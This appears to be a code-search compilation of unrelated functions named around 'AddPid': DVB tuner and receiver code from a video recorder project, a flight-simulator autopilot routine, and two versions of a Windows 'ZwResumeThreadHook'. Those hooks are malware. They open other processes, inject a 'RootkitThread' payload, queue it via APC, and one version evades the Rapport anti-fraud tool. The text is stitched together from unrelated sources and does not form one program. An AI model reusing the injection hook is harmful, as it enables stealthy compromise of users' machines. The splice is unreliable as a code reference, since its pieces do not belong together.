bool cDvbDevice::SetChannelDevice(const cChannel *Channel, bool LiveView)
{
bool DoTune = !dvbTuner->IsTunedTo(Channel);
bool TurnOffLivePIDs = HasDecoder()
&& (DoTune
|| !IsPrimaryDevice()
|| LiveView // for a new live view the old PIDs need to be turned off
|| pidHandles[ptVideo].pid == Channel->Vpid() // for recording the PIDs must be shifted from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER
);
bool StartTransferMode = IsPrimaryDevice() && !DoTune
&& (LiveView && HasPid(Channel->Vpid() ? Channel->Vpid() : Channel->Apid(0)) && (pidHandles[ptVideo].pid != Channel->Vpid() || (pidHandles[ptAudio].pid != Channel->Apid(0) && (Channel->Dpid(0) ? pidHandles[ptAudio].pid != Channel->Dpid(0) : true)))// the PID is already set as DMX_PES_OTHER
|| !LiveView && (pidHandles[ptVideo].pid == Channel->Vpid() || pidHandles[ptAudio].pid == Channel->Apid(0)) // a recording is going to shift the PIDs from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER
);
bool TurnOnLivePIDs = HasDecoder() && !StartTransferMode && LiveView;
#ifndef DO_MULTIPLE_RECORDINGS
TurnOffLivePIDs = TurnOnLivePIDs = true;
StartTransferMode = false;
#endif
// Turn off live PIDs if necessary:
if (TurnOffLivePIDs)
TurnOffLiveMode(LiveView);
// Set the tuner:
dvbTuner->Set(Channel, DoTune);
// If this channel switch was requested by the EITScanner we don't wait for
// a lock and don't set any live PIDs (the EITScanner will wait for the lock
// by itself before setting any filters):
if (EITScanner.UsesDevice(this)) //XXX
return true;
// PID settings:
if (TurnOnLivePIDs) {
SetAudioBypass(false);
if (!(AddPid(Channel->Ppid(), ptPcr) && AddPid(Channel->Vpid(), ptVideo) && AddPid(Channel->Apid(0), ptAudio))) {
esyslog("ERROR: failed to set PIDs for channel %d on device %d", Channel->Number(), CardIndex() + 1);
return false;
}
if (IsPrimaryDevice())
AddPid(Channel->Tpid(), ptTeletext);
CHECK(ioctl(fd_audio, AUDIO_SET_MUTE, true)); // actually one would expect 'false' here, but according to Marco Schlüßler <*****@*****.**> this works
// to avoid missing audio after replaying a DVD; with 'false' there is an audio disturbance when switching
// between two channels on the same transponder on DVB-S
CHECK(ioctl(fd_audio, AUDIO_SET_AV_SYNC, true));
}
else if (StartTransferMode)
cControl::Launch(new cTransferControl(this, Channel->Vpid(), Channel->Apids(), Channel->Dpids(), Channel->Spids()));
return true;
}
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount )
{
NTSTATUS nt;
DWORD dwPid = GetPidByThread( hThread );
DWORD ProcessHash = GetProcessHashOfId(dwPid);
BOOL IsAntiRapport = IsRunAntiRapport() & ( (ProcessHash == 0x7712feae) | (ProcessHash == 0x250DFA8F) ); // 0x7712feae / 0x250DFA8F - ХЕШ фф / ИЕ
if (IsAntiRapport){
nt = ZwResumeThreadReal( hThread, PreviousSuspendCount );
}
if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() )
{
if ( !FindPid( dwPid ) )
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread = 0;
HANDLE hProcess = NULL;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS )
{
DWORD dwAddr;
if( pGetProcessId(hProcess) != pGetCurrentProcessId())
{
if (IsAntiRapport){
AddPid( dwPid );
dwAddr = InjectCode4( hProcess, RootkitThread );
}else
{
dwAddr = InjectCode( hProcess, RootkitThread );
if ( dwAddr != -1 )
{
if ( (NTSTATUS)pZwQueueApcThread( hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS )
AddPid( dwPid );
}
AddPid( dwPid );
};
};
pZwClose( hProcess );
}
}
}
return (IsAntiRapport)? nt : ZwResumeThreadReal( hThread, PreviousSuspendCount ) ;
}
bool cReceiver::SetPids(const cChannel *Channel)
{
numPids = 0;
if (Channel) {
channelID = Channel->GetChannelID();
return AddPid(Channel->Vpid()) &&
(Channel->Ppid() == Channel->Vpid() || AddPid(Channel->Ppid())) &&
AddPids(Channel->Apids()) &&
AddPids(Channel->Dpids()) &&
AddPids(Channel->Spids());
}
return true;
}
bool cDvbHdFfDevice::SetChannelDevice(const cChannel *Channel, bool LiveView)
{
int apid = Channel->Apid(0);
int vpid = Channel->Vpid();
int dpid = Channel->Dpid(0);
bool DoTune = !IsTunedToTransponder(Channel);
bool pidHandlesVideo = vpid && pidHandles[ptVideo].pid == vpid;
bool pidHandlesAudio = apid && pidHandles[ptAudio].pid == apid;
bool TurnOffLivePIDs = DoTune
|| !IsPrimaryDevice()
|| LiveView // for a new live view the old PIDs need to be turned off
|| pidHandlesVideo // for recording the PIDs must be shifted from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER
;
bool StartTransferMode = IsPrimaryDevice() && !DoTune
&& (LiveView && HasPid(vpid ? vpid : apid) && (!pidHandlesVideo || (!pidHandlesAudio && (dpid ? pidHandles[ptAudio].pid != dpid : true)))// the PID is already set as DMX_PES_OTHER
|| !LiveView && (pidHandlesVideo || pidHandlesAudio) // a recording is going to shift the PIDs from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER
);
if (CamSlot() && !ChannelCamRelations.CamDecrypt(Channel->GetChannelID(), CamSlot()->SlotNumber()))
StartTransferMode |= LiveView && IsPrimaryDevice() && Channel->Ca() >= CA_ENCRYPTED_MIN;
//printf("SetChannelDevice Transfer %d, Live %d\n", StartTransferMode, LiveView);
bool TurnOnLivePIDs = !StartTransferMode && LiveView;
// Turn off live PIDs if necessary:
if (TurnOffLivePIDs)
TurnOffLiveMode(LiveView);
// Set the tuner:
if (!cDvbDevice::SetChannelDevice(Channel, LiveView))
return false;
// PID settings:
if (TurnOnLivePIDs) {
if (!(AddPid(Channel->Ppid(), ptPcr) && AddPid(vpid, ptVideo, Channel->Vtype()) && AddPid(apid ? apid : dpid, ptAudio, apid ? 0 : Channel->Dtype(0)))) {
esyslog("ERROR: failed to set PIDs for channel %d on device %d", Channel->Number(), CardIndex() + 1);
return false;
}
}
else if (StartTransferMode)
cControl::Launch(new cTransferControl(this, Channel));
return true;
}
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount )
{
DWORD dwPid = GetPidByThread( hThread );
if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() )
{
if ( !FindPid( dwPid ) )
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread = 0;
HANDLE hProcess = NULL;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS )
{
DWORD dwAddr = InjectCode( hProcess, RootkitThread );
if ( dwAddr != -1 )
{
if ( (NTSTATUS)pZwQueueApcThread(hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS )
AddPid( dwPid );
}
pZwClose( hProcess );
}
}
}
return ZwResumeThreadReal( hThread, PreviousSuspendCount );
}
bool cReceiver::SetPids(const cChannel *Channel)
{
numPids = 0;
if (Channel) {
channelID = Channel->GetChannelID();
return AddPid(Channel->Vpid()) &&
(Channel->Ppid() == Channel->Vpid() || AddPid(Channel->Ppid())) &&
AddPids(Channel->Apids()) &&
AddPids(Channel->Dpids()) &&
#ifdef USE_TTXTSUBS
AddPids(Channel->Spids()) &&
(!Setup.SupportTeletext || AddPid(Channel->Tpid()));
#else
AddPids(Channel->Spids());
#endif /* TTXTSUBS */
}
return true;
}
bool cReceiver::AddPids(const int *Pids)
{
if (Pids) {
while (*Pids) {
if (!AddPid(*Pids++))
return false;
}
}
return true;
}
//------------------------------------------------------------------------
// Get pid system
//------------------------------------------------------------------------
void CFuiProbe::GetPidSubsystems()
{ std::vector<CPIDbox *>pids; // List of list subsystems
AutoPilot *aps = veh->GetAutoPilot();
if (0 == aps) return;
aps->GetAllSubsystems(pids);
std::vector<CPIDbox*>::iterator si;
for (si = pids.begin(); si != pids.end(); si++) AddPid(*si);
pids.clear();
return;
}
cReceiver::cReceiver(tChannelID ChannelID, int Priority, int Pid, const int *Pids1, const int *Pids2, const int *Pids3)
{
device = NULL;
channelID = ChannelID;
priority = Priority;
numPids = 0;
AddPid(Pid);
AddPids(Pids1);
AddPids(Pids2);
AddPids(Pids3);
}
bool cReceiver::AddPids(int Pid1, int Pid2, int Pid3, int Pid4, int Pid5, int Pid6, int Pid7, int Pid8, int Pid9)
{
return AddPid(Pid1) && AddPid(Pid2) && AddPid(Pid3) && AddPid(Pid4) && AddPid(Pid5) && AddPid(Pid6) && AddPid(Pid7) && AddPid(Pid8) && AddPid(Pid9);
}
